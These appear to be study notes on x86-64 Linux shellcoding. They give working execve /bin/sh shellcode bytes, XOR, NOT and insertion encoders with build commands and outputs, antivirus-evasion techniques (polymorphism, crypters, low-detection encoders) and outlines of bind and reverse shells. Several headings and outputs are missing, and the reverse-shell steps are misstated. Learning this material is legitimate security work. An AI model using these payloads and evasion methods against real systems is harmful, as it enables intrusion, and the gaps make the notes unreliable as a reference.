Shellcoding Basics

  • Size of shellcode is important. (Smaller = Better)
  • Avoid Bad characters.

Exit Shellcode

  • Replace instructions with equivalents to avoid NULL

HelloWorld Shellcode - JMP CALL POP Technique

  • No NULL bytes.
  • No Hardcoded addresses.
  • Put logic in a function. Call function just before the string, so that the next address ( of the string) gets pushed to the stack. Pop it to use it.

HelloWorld Shellcode - Stack Method

  • Push Data to stack.
  • Pass RSI as arg.

RIP Relative Addressing

  • Addresses relative to RIP.
  • put default rel after global _start to use RIP relative addressing by default. Else use rel inside [] for lea.
  • However this introduces NULLS in our shellcode, since the location of the string is padded with zeros.
  • If we relocate the string to a before it is referenced. The location will be negative and the 0 will be replaced by f.

Execve Stack Method

  • execve executes a new program. Generally it is "/bin/bash"

  • The arguments are :

    • File name
    • Arguments
    • Environment Values
  • Calling Convention -> RDI,RSI,RDX

RDI needs to have /bin/bash,0x00
RSI needs to have address of /bin/sh,0x00
RDX needs to have 0x00

Why is bin/bash redundant?

They often do have the same information but it’s not redundant. The first is the name of the executable, but the second is what the executable sees as the name. For example, BusyBox uses links to provide different functionality based on the name with which the executable is called. So sometimes you want to give a different name to the called binary than the one on disk.

BusyBox is kind of “all shell tools in one binary.” There’s only one executable on disk and tools like ls, cp etc are links to the binary. When it’s run by ls the binary can check from the argument list that it was run as ls and should provide that functionality. When as cp it will function as cp. So regardless of the actual binary file the executed program can have different “name” for how it was being run. 

Taken from :

Execve JMP POP CALL Shellcode

  • USE JMP POP CALL technique to get the address of string. ("/bin/shABBBBBBBB")
  • Replace "A" with 00
  • Replace BBBBBBBB with 00000000
  • Make RDI point to start of string
  • Make RSI And RDX point to the replced A (now 0)
  • syscall

XOR Encoder

  • Use JUMP POP CALL techniqiue to get the address of the encoded shellcode.
  • Go byte by byte, decode by XORing with the predefined byte and replace it at the same location.
  • Pass control to the decoded shellcode.

Original Execve Shellcode (From JMP POP CALL technique)

shellcode = ("\xeb\x19\x5f\x48\x31\xc0\x88\x67\x07\x48\x8d\x77\x07\x48\x89\x47\x08\x48\x8d\x57\x07\x48\x83\xc0\x3b\x0f\x05\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x42\x42\x42")

Encoded Shellcode

➜  XorEncoder python            
Encoded Shellcode!

Put the encoded shellcode in decoder nasm file. Decode it byte by byte. link the new file and extract the new shellcode.

XorEncoder for i in `objdump -d xordec | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\\\x$i" ; done     

Now add it to the C shellcode execution boilerplate

➜  XorEncoder gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -w
➜  XorEncoder ./shellcode                                                      
Shellcode Length:  71

NOT Encoder

  • Use JUMP POP CALL techniqiue to get the address of the encoded shellcode.
  • Go byte by byte, decode by NOTing with the predefined byte and replace it at the same location.
  • Pass control to the decoded shellcode.

Original Execve Shellcode (From JMP POP CALL technique)

shellcode = ("\xeb\x19\x5f\x48\x31\xc0\x88\x67\x07\x48\x8d\x77\x07\x48\x89\x47\x08\x48\x8d\x57\x07\x48\x83\xc0\x3b\x0f\x05\xe8\xe2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x42\x42\x42")

➜  NotEncoder python                                                
Encoded Shellcode!
➜  NotEncoder for i in `objdump -d notdec | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\\\x$i" ; done 
➜  NotEncoder gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -w                                              
➜  NotEncoder ./shellcode 
Shellcode Length:  52

Insertion Encoder

  • In this technique we insert a predefined byte after every legit instruction. At the end of the encoded shellcode we add some other character.
  • Use JUMP POP CALL techniqiue to get the address of the encoded shellcode.
  • Go every alternate byte, xor with the predefined byte to check if end has reached(xor with end marker will yeild non zero result). Move it to the appropriate location.
  • Pass control to the decoded shellcode.
➜  InsertionEncoder python
Encoded Shellcode!

Insert the above in the nasm file

➜  InsertionEncoder nasm -felf64 insertdec.nasm -o insertdec.o    
➜  InsertionEncoder ld insertdec.o -o insertdec 
➜  InsertionEncoder for i in `objdump -d insertdec | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\\\x$i" ; done  
\xeb\x22\x5e\x48\x8d\x7e\x01\x48\x31\xdb\x48\x31\xc0\xb0\x01\x8a\x1c\x06\x80\xf3\xaa\x75\x12\x8a\x5c\x06\x01\x88\x1f\x48\xff\xc7\x04\x02\xeb\xeb\xe8\xd9\xff\xff\xff\xeb\xaa\x19\xaa\x5f\xaa\x48\xaa\x31\xaa\xc0\xaa\x88\xaa\x67\xaa\x07\xaa\x48\xaa\x8d\xaa\x77\xaa\x07\xaa\x48\xaa\x89\xaa\x47\xaa\x08\xaa\x48\xaa\x8d\xaa\x57\xaa\x07\xaa\x48\xaa\x83\xaa\xc0\xaa\x3b\xaa\x0f\xaa\x05\xaa\xe8\xaa\xe2\xaa\xff\xaa\xff\xaa\xff\xaa\x2f\xaa\x62\xaa\x69\xaa\x6e\xaa\x2f\xaa\x73\xaa\x68\xaa\x41\xaa\x42\xaa\x42\xaa\x42\xaa\x42\xaa\x42\xaa\x42\xaa\x42\xbb\xbb\xbb\xbb%                                                                                                                               ➜  InsertionEncoder gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -w                                                 
➜  InsertionEncoder ./shellcode 
Shellcode Length:  138
$ id

Msfvenom and encoders

  • We can use msf venom to generate shellcode as well as encode our existing shellcode


  • MMX instruction set works on 8 bytes of data at a time.
  • Rarely used in popular shellcodes, low detection rates.


  • Use different set of instructions to achieve the same
  • Example instead of xor rax,rax do mov rax, rbx then sub rax,rbx
  • Add dead code. Play around with unused instructions.


  • Can't use popular techniques like AES directly in Assembly cause it will take up a lot of space.
  • Implement the encryption in a high level language like c.
  • Make a program which takes the shellcode and the key and returns the encrypted shellcode.
  • Use the above output in a new program. Compile it and run it with key as arg to execute the encrypted shellcode.

Chaining Encoder and Crypters

  • Same as crypter. Instead of using normal shellcode, use the output of any of the abobe encoded shellcode.
  • Example RC4 + NOT encoder.


  • Write a C program for a bind Shell
  • The program should
    • Listen on a port
    • Accept connection from client
    • Spawn a shell
  • Syscalls involved
    • socket
    • bind
    • listen
    • accept (this returns a new socket)
    • dup2
    • execve


  • Write the code in assembly!


  • Write a C program for reverse Shell
  • The program should
    • Listen on a port
    • Connect to client & Spawn a shell
  • Syscalls involved
    • socket
    • connect
    • dup2
    • execve

All code snippets are located here